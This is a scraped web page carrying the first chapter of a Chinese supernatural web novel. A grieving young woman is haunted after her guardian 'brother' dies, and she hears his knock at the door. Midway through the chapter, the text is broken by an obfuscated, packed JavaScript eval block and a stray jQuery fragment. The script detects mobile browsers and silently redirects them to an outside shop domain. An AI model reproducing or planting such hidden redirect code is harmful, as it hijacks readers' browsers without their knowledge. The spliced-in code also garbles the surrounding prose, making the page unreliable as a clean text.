文趣网 > 都市小说 > 哥哥死后回家了 > 1. 死去的哥哥
    舒离确信自己此时正在梦里。

    此时的她正身着喜服头帘端坐在铜镜前,有什么正划拉过头皮,舒适的同时激起细细密密的寒意。

    她咽了咽口水,艰难地出声了。

    “请问……今天是什么日子吗?”

    闻言,背后替她梳头的东西咯咯咯的笑起来。

    “您在说什么呢?今天是您出嫁的日子啊,天大的好事。”

    心里悬着的那块石头终于砸到了脚趾上,舒离挤出一个比哭还难看的笑容。

    “那……那还真是让人惊喜啊。”

    莫名其妙被困在噩梦里,还要嫁给不知道哪路的妖魔鬼怪,这个惊喜的分量着实太重了。

    不是说好了建国以后不许成精吗!

    但她不敢吐槽,她从小到大经常会撞见这种脏东西,经过长期的洗礼锻炼,舒离的胆量已经得到了极大提升——堪比一只成年金丝熊。

    原因无它,如果哥哥在的话,这些东西根本近不了她的身。

    源于未知的恐惧让舒离浑身僵硬地低下头,看到漫过门槛的血水已经流进了房间,像窸窸窣窣的血线悄然爬向了她。

    意识到不能再拖下去,舒离抖着手拿起了那面镜子,对身后给自己梳头发的女人说道:

    “你看。”

    “看什么?”

    女人当真低下了头。

    “当然是……看招!”

    舒离卯足了劲,直接将镜子抡向她的脸,然后开始向门外拔足狂奔。

    门外赫然是一个古朴庭院,院子里是散发着浓烈异香的满池莲花,圆盘似的血月像只巨大的独眼,悬挂在上空冷漠地俯瞰着这一幕。

    “您别走呀,头发还没梳完呢……一梳梳到尾……二梳白发齐眉……”

    背后女人怨毒的声音像是断断续续的破收音机一样追上来,角落里传来人的窃窃私语,音量如同烧开的水逐渐沸腾起来。

    舒离跑的时候回头看了一眼,被吓得差点魂飞魄散。

    只见那个被自己打掉头的佝偻女人正将脑袋抱在自己胸前,嘴里咬着一把发黑的木梳,正死死注视她。

    哥哥、哥哥……

    无名指突然被牵动了一下,一时间烫得吓人,硬生生拦住了她的脚步。

    “——叮铃铃。”

    铃铛声突兀地响起,声音响起的瞬间,所有准备扑上来的鬼怪像是被按下了定格键,舒离惊魂甫定的低下头,看到了小指上不知道何时被缠了几圈红线。

    而红线的另一端,正遥遥悬在走廊另一边,看不到尽头。

    ……!

    耳边的窃窃私语停了一瞬,而后变成了混乱的哭声和尖叫。

    几息后,一只纸折的拖尾蝴蝶以极其缓慢的速度从拐角飞了出来,所过之处接触到的鬼怪无一都炸成了血雾。

    直觉告诉舒离,那只猩红蝴蝶就是让她离开这场异常梦境的异常点。

    拐角后传来刻意压低的咳嗽声,舒离不敢去猜那是什么东西,想往后退,但蝴蝶已经不偏不倚地停在她被红线紧紧缠绕的无名指。

    ——轻柔地仿佛在虔诚亲吻她的指尖。

    ……

    舒离挣扎着从梦中惊醒,墙壁上的挂钟正好走过下午六点。

    窗子开了半边,但天色灰蒙蒙的,暗淡的云团阴沉地积压在天边,是风雨欲来的趋势。

    想到刚才的梦,舒离下意识抬头看了眼桌面,上面放着她和哥舒翦的合影,是哭湿了脸的她被扎着低马尾的长发青年抱在怀里安慰的狼狈一幕。

    主人显然很爱惜这张照片,相框边缘因为多次摩挲已经十分光滑,舒离只看了一眼,便被烫到般移开视线。

    一同放在那里的手机亮起屏幕,是来自外界的未接来电和短信。

    她忽视来电短信,解锁手机点进浏览器键入几个关键词,很快,一条新闻弹了出来。

    “因遗体们大多残缺,经鉴定已经无法确认其生前样貌,警方通过现场痕迹可以肯定是人为恶意纵火行为……该事件迅速引起社会广泛关注,但凶手至今下落不明。”

    舒离的手指停留在现场拍的那几张触目惊心的照片上。

    ——尸体失踪了。

    事后舒离也跟着寻找过,但却一无所获。

    将泡软的泡面桶扔进垃圾桶,舒离走到卫生间就着冷水洗了把脸。

    镜子里的人留着乱糟糟没怎么打理的水母头,皮肤苍白得扎眼,眼尾上挑的猫眼因为这几天常哭有些红肿,分明是副灵气十足的长相,但眼下是休息不好的青黑,嘴唇紧紧抿起,表情看上去十分严肃。

    舒离盯着镜子里印堂发黑就差把晦气两个字刻在脑门上的自己看了半晌,无法忍受的掬起一捧水将其泼到了玻璃上,顿时模糊一片。

    ——在哥哥死后,她被鬼缠上了。

    她想,她应该是太害怕了,太后悔了,才会荒谬到还心存了他会回来的隐秘期待。

    因为失去了车祸前记忆的她,剩下的就只有和对方相处的时光了。

    严格意义上来说,虽然算作她的监护人,但哥舒翦并不是她名义上的亲哥哥。

    他是在父母弟弟去世那天出现在葬礼上的,自称是母亲旧友家孩子的少年打着一把黑伞,轻而易举地将外界暴雨和亲戚的讪笑试探隔绝在伞外。

    旁边有人在好奇这是谁家的孩子,但这讨论声很快也销声匿迹。

    因为距离拉近,舒离得以看清握伞的那只手修如梅骨,待到走近时,伞面顺势抬起,袖口往下滑,露出苍白腕骨上触目惊心的陈旧疤痕,以及那个一眼看上去玉质温润的烟斗。

    她怔怔地抬起眼,与对方的视线不期然撞到了一起去。

    淡色的唇,高挺的鼻峰,绸缎般的黑色长发在身后被一根发带松松扎起,清瘦脊背挺得笔直,唇边有颗小痣,气质介于少年和青年之间,是古朴又庄重的美丽。

    最让人印象深刻的是那双眼睛,仿佛水墨描画,鸦色睫毛纤长浓密却不显得女气,反而让人下意识忽略了那幽暗缺乏情感的瞳孔。

    第一眼看上去不像这个时代的美人,第二眼看到他脚上的拖鞋,又觉得这股神性就跟出门前喷的香水一样,走两步就没了。

    他一眼便注意到了舒离,然后唇角似有若无地扬起微小的弧度,隔着人群朝她伸出手。

    “你想和她们回家吗?”

    面具一样温和的笑容,恰到好处伸出的手,那双幽暗的眼睛仿佛在注视她,又仿佛隔着她看到了更远的东西。

    这让舒离联想到了佛像脸上慈悲的笑容,隔着袅袅香火,无悲无喜、平静地注视这个人间。

    等舒离反应过来的时候,自己已经鬼使神差的向这个素未谋面的陌生人伸出了手。

    被拉进怀里的瞬间,比莲花香气更先传来的是挥之不去的古怪血腥气。

    看到她油盐不进,旁边的女性亲戚声音瞬间高昂起来,语速很快地说着什么,内容无怪乎还是她父母留下的那笔巨额遗产的去处。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17859209|211947||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    事实证明舒离的选择是对的,虽然当时的情况也容不得她第二次做出选择。

    哥舒翦收留了走投无路的她,他没有对遗产和舒离本身表现出过分的兴趣,承诺会照顾好她,他也确实做到了,一直到他死去那天,他还为舒离做了顿晚饭。

    “……就在近日,新一轮降水过程已经登场,我省多地出现暴雨,请广大市民出行注意安全,非必要不出门……”

    听到新闻预报,舒离回到厨房,捏着鼻子将已经散发出异味的剩菜处理掉,垃圾袋打了个结,刚打开门,就迎面撞上了一个骨瘦如柴的女人。

    两人猝不及防撞上视线,女人明显瑟缩了一下,她虽年轻,但两边脸颊已经瘦得凹陷下去,显得颧骨更高了,此时怀里抱着个襁褓,眼神有些躲闪。

    “小离啊,你哥哥在家不?我找他有点事。”

    今天天气绝对算不上暖和,舒离注意到女人脚上还踩着凉拖鞋,似乎感受不到冷一般,向她挤出一个局促又讨好的笑容。

    女人姓张,是四楼的住户,是前段时间搬过来的,据说和丈夫感情不好,目前正在抚养出生不久的小孩。

    舒离天生阳火弱,相比旁人阴气更重,体质更招鬼,此时一眼便看出了女人眉宇间笼罩的淡淡死气。

    哥舒翦还在的时候,曾替她驱逐过家里的小鬼,现在想再来找他,估计也是同样的原因。

    为了不让她下次再跑空,舒离伸手挡在她面前,努力让自己的声音听上去不那么软。

    “——我家纸扎铺要关门了,业务全都不接了,以后你找其他人想想办法吧。”

    这件事街里邻坊迟早会知道,特意隐瞒没有必要。

    “关、关门了?可是小远还在发高烧,他的烧医生看不好的,肯定是被脏东西沾上了,等不了那么久,拜托你,你能不能打电话让你哥早点回来?”

    一听哥舒翦不在,女人肉眼可见的慌乱起来,六神无主的想要把怀里的孩子抱给她看。

    从哪儿回?阴曹地府吗?如果哥哥真的能接她的电话,她也不至于把自己折腾成这副鬼样子。

    舒离往后退了半步,躲开了她的触碰。

    “我知道有个精通这方面的道士,如果你实在着急,可以打这个号码。”

    递上名片,好说歹说把人劝走了,女人一步三回头的离开了,舒离注意到她怀里的孩子自始至终都没发出过一声啼哭。

    虽然过程不愉快,但和生人说话最终还是让她鼓起了一点劲头,就在这时,包里的手机震动了一下。

    最上面那条的内容突兀闯入视线。

    “你哥的死我查过了,就是有人对刹车动了手脚,如果有其他消息我会第一时间告诉你,别伤心啦,抱抱。”

    “……”

    舒离盯着这条短信看了几秒,听到门外再次响起了敲门声。

    舒离本以为是四楼那个张姓女人去而复返,于是走到了门边,正准备拧开门把锁的时候突然顿住了。

    像是察觉到她的疑虑,门再度被敲响。

    咚。

    咚。

    咚。

    刚好三声,一声不少,分明很有礼貌,却让她深吸一口气,心脏不受控制地狂跳起来。

    原因无它,只因为这停顿的间隙、声音的大小舒离在过去十年已经听到无数次,简直……

    和哥哥生前敲门的习惯一模一样。

    ——可哥哥分明已经死了,那站在门外的又会是什么东西?